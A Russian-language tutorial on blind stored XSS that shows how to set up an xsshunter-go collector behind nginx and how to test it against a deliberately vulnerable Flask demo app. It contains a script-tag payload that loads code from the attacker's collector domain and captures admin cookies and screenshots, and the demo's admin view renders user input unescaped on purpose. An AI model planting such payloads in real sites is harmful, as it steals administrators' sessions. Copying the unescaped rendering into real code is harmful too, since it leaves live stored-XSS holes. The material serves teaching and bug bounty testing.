Сначала немного про blind xss. Это разновидность хранимого (stored) xss, которая выполняется не сразу, а некогда после, например когда администратор откроет админ панель или любой другой интерфейс сайта, с котором мы взаимодействовали как клиент и внедрили вредоносный код. Говоря проще, допустим есть кнопка «Отправить на модерацию» и соответствующая форма ввода. Если отсутствует достаточная фильтрация ввода, мы можем внедрить вредоносный payload, данные улетят «куда-то» в ту часть веб-приложения, которую мы не видим, но ее может просмотреть администратор. Когда он это сделает, наш payload будет выполнен и мы получим например токен сессии, что по сути может означать получение админ доступа.
С XSS разобрались, теперь как проще работать с этим. Есть такой проект xss hunter. Ныне помеченный как deprecated и переписанный одним энтузиастом на golang вот тут.
xss hunter это веб приложение, которое выступает «приёмником» для получения данных, отправленных нашим payload.
Установка xss hunter
Нам нужен арендованный vps и домен.
git clone https://github.com/adamjsturge/xsshunter-go.git
vi docker-compose.yml
У меня есть отдельный инстанс базы postgresql на хосте, поэтому я использую его в docker-compose.
services:
xsshunter-go:
build:
context: .
dockerfile: Dockerfile
target: prod
extra_hosts:
- "host.docker.internal:host-gateway"
volumes:
- ./screenshots/:/app/screenshots/
ports:
- "1449:1449"
env_file:
- .env
networks:
- xsshunter-go
networks:
xsshunter-go:
driver: bridge
База запущена на той же машине. Следовательно из контейнера я не могу обратиться к ней через localhost, для этого и служит секция extra_hosts.
Заполняем .env файл.
CONTROL_PANEL_ENABLED=true
SCREENSHOTS_REQUIRE_AUTH=true
GO_ENV=development
DOMAIN=https://<domain>
DATABASE_URL=postgresql://<db_user>:<db_password>@host.docker.internal/<db_name>
Запуск приложения:
docker compose up -d
Обязательно посмотрите логи, при первом запуске туда будет выведен пароль от /admin.
Прячем xss hunter за nginx
Тут все просто. Получаем Let’s Encrypt сертификат и добавляем конфиг.
upstream xsshunter {
server 127.0.0.1:1449;
keepalive 1024;
}
server {
listen 80;
server_name <domain>;
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name <domain>;
ssl_certificate /etc/letsencrypt/live/<domain>/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/<domain/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
location = / {
return 301 /admin;
}
location ~ ^/admin(/|$) {
auth_basic "Login required";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://xsshunter;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Port $server_port;
}
location / {
proxy_pass http://xsshunter;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Forwarded-Port $server_port;
}
location ^~ /.well-known/acme-challenge/ {
auth_basic off;
try_files $uri =404;
}
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
Из особенностей, добавлена базовая на /admin и редирект с корня на /admin. Под нее также настроен fail2ban.
После этого xss hunter будет доступен по <domain> с авторедиректом на /admin.
Тестирование blind xss и xss hunter
Мое микро приложениe для демонстрации работы blind xss. Код также приведу ниже.
import os
import sqlite3
from datetime import datetime
from flask import Flask, request, redirect, render_template_string, g, jsonify
app = Flask(__name__)
BASE_DIR = os.path.dirname(__file__)
DB_PATH = os.path.join(BASE_DIR, "blind_xss.db")
def ensure_schema():
conn = sqlite3.connect(DB_PATH)
conn.execute("""
CREATE TABLE IF NOT EXISTS submissions (
id INTEGER PRIMARY KEY AUTOINCREMENT,
content TEXT NOT NULL,
ip TEXT,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)
""")
conn.commit()
conn.close()
def get_db():
if "db" not in g:
g.db = sqlite3.connect(DB_PATH)
g.db.row_factory = sqlite3.Row
return g.db
@app.teardown_appcontext
def close_db(_exc):
db = g.pop("db", None)
if db:
db.close()
@app.route("/")
def index():
return '<h2>Demo blind XSS</h2><ul><li><a href="/submit">/submit</a></li><li><a href="/admin">/admin</a></li></a></li></ul>'
# Vuln input
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "POST":
content = request.form.get("content", "")
ip = request.headers.get("X-Forwarded-For", request.remote_addr)
db = get_db()
db.execute("INSERT INTO submissions(content, ip) VALUES (?, ?)", (content, ip))
db.commit()
return redirect("/thanks")
tpl = """
<!doctype html>
<meta charset="utf-8">
<title>Submit</title>
<h1>Submit content</h1>
<form method="post">
<textarea name="content" rows="6" cols="80" placeholder='Enter text or HTML/payload here'></textarea><br>
<button type="submit">Save</button>
</form>
<p>After submit, visit <a href="/admin">/admin</a> to simulate reviewer.</p>
"""
return render_template_string(tpl)
@app.route("/thanks")
def thanks():
return "<h2>Saved. Now visit <a href='/admin'>/admin</a></h2>"
# Admin panel. Render with safe and run payload
@app.route("/admin")
def admin():
db = get_db()
rows = db.execute("SELECT id, content, ip, created_at FROM submissions ORDER BY id DESC").fetchall()
tpl = """
<!doctype html>
<meta charset="utf-8">
<title>Admin Review</title>
<h1>Admin Review (INTENTIONALLY VULNERABLE)</h1>
<p>Below content is rendered as HTML for demo purposes.</p>
<ul>
{% for r in rows %}
<li>
<div><strong>ID:</strong> {{ r['id'] }} | <strong>IP:</strong> {{ r['ip'] }} | <strong>Time:</strong> {{ r['created_at'] }}</div>
<div style="padding:8px;border:1px dashed #aaa;margin:6px 0;">{{ r['content']|safe }}</div>
</li>
{% endfor %}
</ul>
"""
return render_template_string(tpl, rows=rows)
if __name__ == "__main__":
ensure_schema()
app.run(host="0.0.0.0", port=5000, debug=False)
Это приложение на Flask, у которого есть два endpoint-а.
/submit — ввод чего-либо в форме. Без какой-либо фильтрации, сохраняет как есть в sqlite базу.
/admin — эмитация захода в админ панель, которая получает сохраненные в «/submit» данные из БД. Тут как раз и выполняется наш payload, HTML рендерится с safe, как есть. Визуально корень приложения выглядит так:

Открываем endpoint /submit и вводим payload:
"><script src="https://<domain>/any"></script>
<domain> заменяем на адрес xss hunter. Нажимаем save и кликаем на /admin. В данной конфигурации не отправляйте payload на корень. Иначе в админ панели уязвимого приложения при отправке payload в nginx на нашей стороне сработает редирект с корня на /admin, который запросит базовую авторизацию.
В «админ панели» приложения увидим просто запись, ничего сильно подозрительного.

А вот в UI xss hunter будет срабатывание.

Можно развернуть и увидеть скриншот панели, cookie и прочую информацию, полученную со стороны приложения.

Можете не переживать за ip address, он не статический и за ним ничего нет =).
Таким образом мы можем удобно отслеживать payload-ы, полезно для учебных целей и bug bounty программ.